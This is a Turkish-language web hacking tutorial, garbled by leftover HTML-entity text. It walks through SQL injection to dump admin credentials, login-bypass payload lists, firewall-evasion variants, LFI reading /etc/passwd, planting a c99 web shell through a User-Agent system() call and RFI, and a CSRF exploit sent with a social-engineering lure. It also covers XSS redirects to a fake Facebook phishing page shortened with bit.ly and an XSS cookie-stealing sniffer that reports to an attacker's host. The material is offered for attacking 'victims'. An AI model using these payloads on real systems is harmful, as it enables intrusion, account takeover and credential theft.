Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 7: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

